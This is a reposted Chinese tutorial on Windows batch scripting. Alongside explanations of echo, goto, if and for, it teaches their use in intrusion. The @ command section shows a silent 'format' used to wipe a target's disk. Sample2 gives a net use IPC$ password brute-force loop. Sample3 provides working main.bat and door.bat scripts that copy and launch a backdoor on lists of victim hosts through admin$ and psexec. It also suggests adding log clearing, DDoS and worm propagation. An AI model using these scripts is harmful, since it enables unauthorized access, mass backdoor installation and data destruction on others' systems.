简明批处理教程

                                                                                                                                                  
简明批处理教程-1                                                                
作者:unknow 转贴自:忘了                                                       
前言                                                                            
                                                                                
最近对于批处理技术的探讨比较热,也有不少好的批处理程序发布,但是如果没有一定的  
相关知识恐怕不容易看懂和理解这些批处理文件,也就更谈不上自己动手编写了,古语云  
:“授人以鱼,不如授人以渔。”因为网上好像并没有一个比较完整的教材,所以抽一点时 
间写了这片<<简明批处理教程>>给新手朋友们.也献给所有为实现网络的自由与共享而努力 
的朋友们.                                                                       
                                                                                
批处理文件是无格式的文本文件,它包含一条或多条命令。它的文件扩展名为 .bat 或 .  
cmd。在命令提示下键入批处理文件的名称,或者双击该批处理文件,系统就会调用Cmd.e  
xe按照该文件中各个命令出现的顺序来逐个运行它们。使用批处理文件(也被称为批处理  
程序或脚本),可以简化日常或重复性任务。当然我们的这个版本的主要内容是介绍批处  
理在入侵中一些实际运用,例如我们后面要提到的用批处理文件来给系统打补丁、批量植  
入后门程序等。下面就开始我们批处理学习之旅吧。                                  
                                                                                
一.简单批处理内部命令简介                                                       
1.Echo 命令                                                                     
打开回显或关闭请求回显功能,或显示消息。如果没有任何参数,echo 命令将显示当前回 
显设置。                                                                        
语法                                                                            
echo [{on|off}] [message]                                                       
Sample:@echo off / echo hello world                                            
在实际应用中我们会把这条命令和重定向符号(也称为管道符号,一般用> >> ^)结合来  
实现输入一些命令到特定格式的文件中.这将在以后的例子中体现出来。                 
                                                                                
2.@ 命令                                                                        
表示不显示@后面的命令,在入侵过程中(例如使用批处理来格式化敌人的硬盘)自然不能 
让对方看到你使用的命令啦。                                                      
Sample:@echo off                                                               
@echo Now initializing the program,please wait a minite...                      
@format X: /q/u/autoset (format 这个命令是不可以使用/y这个参数的,可喜的是微软  
留了个autoset这个参数给我们,效果和/y是一样的。)                                
                                                                                
3.Goto 命令                                                                     
指定跳转到标签,找到标签后,程序将处理从下一行开始的命令。                      
语法:goto label (label是参数,指定所要转向的批处理程序中的行。)              
Sample:                                                                        
if {%1}=={} goto noparms                                                        
if {%2}=={} goto noparms(如果这里的if、%1、%2你不明白的话,先跳过去,后面会有  
详细的解释。)                                                                  
@Rem check parameters if null show usage                                        
:noparms                                                                        
echo Usage: monitor.bat ServerIP PortNumber                                     
goto end                                                                        
标签的名字可以随便起,但是最好是有意义的字母啦,字母前加个:用来表示这个字母是  
标签,goto命令就是根据这个:来寻找下一步跳到到那里。最好有一些说明这样你别人看  
起来才会理解你的意图啊。                                                        
                                                                                
4.Rem 命令                                                                      
注释命令,在C语言中相当与/*--------*/,它并不会被执行,只是起一个注释的作用,便  
于别人阅读和你自己日后修改。                                                    
Rem Message                                                                     
Sample:@Rem Here is the description.                                           
                                                                                
5.Pause 命令                                                                    
运行 Pause 命令时,将显示下面的消息:                                           
Press any key to continue . . .                                                 
Sample:                                                                        
@echo off                                                                       
:begin                                                                          
copy a:*.* d:/back                                                             
echo Please put a new disk into driver A                                        
pause                                                                           
goto begin                                                                      
在这个例子中,驱动器 A 中磁盘上的所有文件均复制到d:/back中。显示的注释提示您将  
另一张磁盘放入驱动器 A 时,pause 命令会使程序挂起,以便您更换磁盘,然后按任意键 
继续处理。                                                                      
                                                                                
6.Call 命令                                                                     
从一个批处理程序调用另一个批处理程序,并且不终止父批处理程序。call 命令接受用作 
调用目标的标签。如果在脚本或批处理文件外使用 Call,它将不会在命令行起作用。     
语法                                                                            
call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]           
参数                                                                            
[Drive:}[Path] FileName                                                         
指定要调用的批处理程序的位置和名称。filename 参数必须具有 .bat 或 .cmd 扩展名。 
                                                                                
                                                                                
7.start 命令                                                                    
调用外部程序,所有的DOS命令和命令行程序都可以由start命令来调用。                
入侵常用参数:                                                                  
MIN 开始时窗口最小化                                                            
SEPARATE 在分开的空间内开始 16 位 Windows 程序                                  
HIGH 在 HIGH 优先级类别开始应用程序                                             
REALTIME 在 REALTIME 优先级类别开始应用程序                                     
WAIT 启动应用程序并等候它结束                                                   
parameters 这些为传送到命令/程序的参数                                          
执行的应用程序是 32-位 GUI 应用程序时,CMD.EXE 不等应用程序终止就返回命令提示。 
如果在命令脚本内执行,该新行为则不会发生。                                      
8.choice 命令                                                                   
choice 使用此命令可以让用户输入一个字符,从而运行不同的命令。使用时应该加/c:参  
数,c:后应写提示可输入的字符,之间无空格。它的返回码为1234……                  
如: choice /c:dme defrag,mem,end                                                
将显示                                                                          
defrag,mem,end[D,M,E]?                                                          
Sample:                                                                        
Sample.bat的内容如下:                                                           
@echo off                                                                       
choice /c:dme defrag,mem,end                                                    
if errorlevel 3 goto defrag (应先判断数值最高的错误码)                        
if errorlevel 2 goto mem                                                        
if errotlevel 1 goto end                                                        
:defrag                                                                         
c:/dos/defrag                                                                   
goto end                                                                        
:mem                                                                            
mem                                                                             
goto end                                                                        
:end                                                                            
echo good bye                                                                   
                                                                                
此文件运行后,将显示 defrag,mem,end[D,M,E]? 用户可选择d m e ,然后if语句将作出  
判断,d表示执行标号为defrag的程序段,m表示执行标号为mem的程序段,e表示执行标号  
为end的程序段,每个程序段最后都以goto end将程序跳到end标号处,然后程序将显示go  
od bye,文件结束。                                                              
                                                                                
9.If 命令                                                                       
                                                                                
if 表示将判断是否符合规定的条件,从而决定执行不同的命令。 有三种格式:           
1、if "参数" == "字符串"  待执行的命令                                         
参数如果等于指定的字符串,则条件成立,运行命令,否则运行下一句。(注意是两个等号 
)                                                                              
如if "%1"=="a" format a:                                                        
if {%1}=={} goto noparms                                                        
if {%2}=={} goto noparms                                                        
                                                                                
2、if exist 文件名  待执行的命令                                               
如果有指定的文件,则条件成立,运行命令,否则运行下一句。                        
如if exist config.sys edit config.sys                                           
                                                                                
3、if errorlevel / if not errorlevel 数字  待执行的命令                        
如果返回码等于指定的数字,则条件成立,运行命令,否则运行下一句。                
如if errorlevel 2 goto x2                                                      
DOS程序运行时都会返回一个数字给DOS,称为错误码errorlevel或称返回码,常见的返回  
码为0、1。                                                                      
                                                                                
10.for 命令                                                                     
for 命令是一个比较复杂的命令,主要用于参数在指定的范围内循环执行命令。          
在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable                        
                                                                                
for {%variable|%%variable} in (set) do command [ CommandLineOptions]            
%variable 指定一个单一字母可替换的参数。                                        
(set) 指定一个或一组文件。可以使用通配符。                                      
command 指定对每个文件执行的命令。                                              
command-parameters 为特定命令指定参数或命令行开关。                             
在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable                        
而不要用 %variable。变量名称是区分大小写的,所以 %i 不同于 %I                   
                                                                                
如果命令扩展名被启用,下列额外的 FOR 命令格式会受到                             
支持:                                                                           
                                                                                
FOR /D %variable IN (set) DO command [command-parameters]                       
                                                                                
如果集中包含通配符,则指定与目录名匹配,而不与文件                              
名匹配。                                                                        
                                                                                
FOR /R [[drive:]path] %variable IN (set) DO command [command-                   
                                                                                
检查以 [drive:]path 为根的目录树,指向每个目录中的                              
FOR 语句。如果在 /R 后没有指定目录,则使用当前                                  
目录。如果集仅为一个单点(.)字符,则枚举该目录树。                               
                                                                                
FOR /L %variable IN (start,step,end) DO command [command-para                   
                                                                                
该集表示以增量形式从开始到结束的一个数字序列。                                  
因此,(1,1,5) 将产生序列 1 2 3 4 5,(5,-1,1) 将产生                             
序列 (5 4 3 2 1)。                                                              
                                                                                
FOR /F ["options"] %variable IN (file-set) DO command                           
FOR /F ["options"] %variable IN ("string") DO command                           
FOR /F ["options"] %variable IN ('command') DO command                          
或者,如果有 usebackq 选项:                                                     
                                                                                
FOR /F ["options"] %variable IN (file-set) DO command                           
FOR /F ["options"] %variable IN ("string") DO command                           
FOR /F ["options"] %variable IN ('command') DO command                          
                                                                                
filenameset 为一个或多个文件名。继续到 filenameset 中的                         
下一个文件之前,每份文件都已被打开、读取并经过处理。                            
处理包括读取文件,将其分成一行行的文字,然后将每行                              
解析成零或更多的符号。然后用已找到的符号字符串变量值                            
调用 For 循环。以默认方式,/F 通过每个文件的每一行中分开                        
的第一个空白符号。跳过空白行。您可通过指定可选 "options"                        
参数替代默认解析操作。这个带引号的字符串包括一个或多个                          
指定不同解析选项的关键字。这些关键字为:                                         
                                                                                
eol=c - 指一个行注释字符的结尾(就一个)                                          
skip=n - 指在文件开始时忽略的行数。                                             
delims=xxx - 指分隔符集。这个替换了空格和跳格键的                               
默认分隔符集。                                                                  
tokens=x,y,m-n - 指每行的哪一个符号被传递到每个迭代                             
的 for 本身。这会导致额外变量名称的                                             
格式为一个范围。通过 nth 符号指定 m                                             
符号字符串中的最后一个字符星号,                                                
那么额外的变量将在最后一个符号解析之                                            
分配并接受行的保留文本。                                                        
usebackq - 指定新语法已在下类情况中使用:                                        
在作为命令执行一个后引号的字符串并且                                            
引号字符为文字字符串命令并允许在 fi                                             
中使用双引号扩起文件名称。                                                      
                                                                                
sample1:                                                                        
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command              
                                                                                
会分析 myfile.txt 中的每一行,忽略以分号打头的那些行,将                        
每行中的第二个和第三个符号传递给 for 程序体;用逗号和/或                        
空格定界符号。请注意,这个 for 程序体的语句引用 %i 来                           
取得第二个符号,引用 %j 来取得第三个符号,引用 %k                               
来取得第三个符号后的所有剩余符号。对于带有空格的文件                            
名,您需要用双引号将文件名括起来。为了用这种方式来使                            
用双引号,您还需要使用 usebackq 选项,否则,双引号会                            
被理解成是用作定义某个要分析的字符串的。                                        
                                                                                
%i 专门在 for 语句中得到说明,%j 和 %k 是通过                                   
tokens= 选项专门得到说明的。您可以通过 tokens= 一行                             
指定最多 26 个符号,只要不试图说明一个高于字母 'z' 或                           
'Z' 的变量。请记住,FOR 变量是单一字母、分大小写和全局的;                      
同时不能有 52 个以上都在使用中。                                                
                                                                                
您还可以在相邻字符串上使用 FOR /F 分析逻辑;方法是,                            
用单引号将括号之间的 filenameset 括起来。这样,该字符                           
串会被当作一个文件中的一个单一输入行。                                          
                                                                                
最后,您可以用 FOR /F 命令来分析命令的输出。方法是,将                          
括号之间的 filenameset 变成一个反括字符串。该字符串会                           
被当作命令行,传递到一个子 CMD.EXE,其输出会被抓进                              
内存,并被当作文件分析。因此,以下例子:                                         
                                                                                
FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i                            
                                                                                
会枚举当前环境中的环境变量名称。                                                
                                                                                
另外,FOR 变量参照的替换已被增强。您现在可以使用下列                            
选项语法:                                                                       
                                                                                
~I - 删除任何引号("),扩充 %I                                                   
%~fI - 将 %I 扩充到一个完全合格的路径名                                         
%~dI - 仅将 %I 扩充到一个驱动器号                                               
%~pI - 仅将 %I 扩充到一个路径                                                   
%~nI - 仅将 %I 扩充到一个文件名                                                 
%~xI - 仅将 %I 扩充到一个文件扩展名                                             
%~sI - 扩充的路径只含有短名                                                     
%~aI - 将 %I 扩充到文件的文件属性                                               
%~tI - 将 %I 扩充到文件的日期/时间                                              
%~zI - 将 %I 扩充到文件的大小                                                   
%~$PATH:I - 查找列在路径环境变量的目录,并将 %I 扩充                            
到找到的第一个完全合格的名称。如果环境变量                                      
未被定义,或者没有找到文件,此组合键会扩充                                      
空字符串                                                                        
                                                                                
可以组合修饰符来得到多重结果:                                                   
                                                                                
%~dpI - 仅将 %I 扩充到一个驱动器号和路径                                        
%~nxI - 仅将 %I 扩充到一个文件名和扩展名                                        
%~fsI - 仅将 %I 扩充到一个带有短名的完整路径名                                  
%~dp$PATH:i - 查找列在路径环境变量的目录,并将 %I 扩充                          
到找到的第一个驱动器号和路径。                                                  
%~ftzaI - 将 %I 扩充到类似输出线路的 DIR                                        
在以上例子中,%I 和 PATH 可用其他有效数值代替。%~ 语法                          
用一个有效的 FOR 变量名终止。选取类似 %I 的大写变量名                           
比较易读,而且避免与不分大小写的组合键混淆。                                    
                                                                                
以上是MS的官方帮助,下面我们举几个例子来具体说明一下For命令在入侵中的用途。     
                                                                                
sample2:                                                                       
                                                                                
利用For命令来实现对一台目标Win2k主机的暴力密码破解。                            
我们用net use
//ip/ipc$ "password" /u:"administrator"来尝试这和目标主机进行连接 
,当成功时记下密码。                                                            
最主要的命令是一条:for /f i% in (dict.txt) do net use
//ip/ipc$ "i%" /u:"admi  
nistrator"                                                                      
用i%来表示admin的密码,在dict.txt中这个取i%的值用net use 命令来连接。然后将程序 
运行结果传递给find命令--                                                      
for /f i%% in (dict.txt) do net use
//ip/ipc$ "i%%" /u:"administrator"|find ":  
命令成功完成">>D:/ok.txt ,这样就ko了。                                         
                                                                                
sample3:                                                                       
                                                                                
你有没有过手里有大量肉鸡等着你去种后门+木马呢?,当数量特别多的时候,原本很开  
心的一件事都会变得很郁闷:)。文章开头就谈到使用批处理文件,可以简化日常或重复  
性任务。那么如何实现呢?呵呵,看下去你就会明白了。                              
                                                                                
主要命令也只有一条:(在批处理文件中使用 FOR 命令时,指定变量使用 %%variable)  
                                                                                
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i  
 %%j %%k                                                                        
tokens的用法请参见上面的sample1,在这里它表示按顺序将victim.txt中的内容传递给d  
oor.bat中的参数%i %j %k。                                                       
而cultivate.bat无非就是用net use命令来建立IPC$连接,并copy木马+后门到victim,  
然后用返回码(If errorlever =)来筛选成功种植后门的主机,并echo出来,或者echo到 
指定的文件。                                                                    
delims= 表示vivtim.txt中的内容是一空格来分隔的。我想看到这里你也一定明白这vict  
im.txt里的内容是什么样的了。应该根据%%i %%j %%k表示的对象来排列,一般就是 ip p  
assword username。                                                              
代码雏形:                                                                      
--------------- cut here then save as a batchfile(I call it main.bat ) -------  
--------------------                                                            
@echo off                                                                       
@if "%1"=="" goto usage                                                         
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat   
%%i %%j %%k                                                                     
@goto end                                                                       
:usage                                                                          
@echo run this batch in dos modle.or just double-click it.                      
:end                                                                            
--------------- cut here then save as a batchfile(I call it main.bat ) -------  
--------------------                                                            
                                                                                
                                                                                
------------------- cut here then save as a batchfile(I call it door.bat) ----  
-------------------------                                                       
@net use
//%1/ipc$ %3 /u:"%2"                                                   
@if errorlevel 1 goto failed                                                    
@echo Trying to establish the IPC$ connection …………OK                        
@copy windrv32.exe//%1/admin$/system32 && if not errorlevel 1 echo IP %1 USER   
%2 PWD %3 >>ko.txt                                                              
@psexec
//%1 c:/winnt/system32/windrv32.exe                                     
@psexec
//%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko  
.txt                                                                            
:failed                                                                         
@echo Sorry can not connected to the victim.                                    
----------------- cut here then save as a batchfile(I call it door.bat) ------  
--------------------------                                                      
这只是一个自动种植后门批处理的雏形,两个批处理和后门程序(Windrv32.exe),PSexe  
c.exe需放在统一目录下.批处理内容                                                
尚可扩展,例如:加入清除日志+DDOS的功能,加入定时添加用户的功能,更深入一点可以使之 
具备自动传播功能(蠕虫).此处不多做叙述,有兴趣的朋友可自行研究.                    
           
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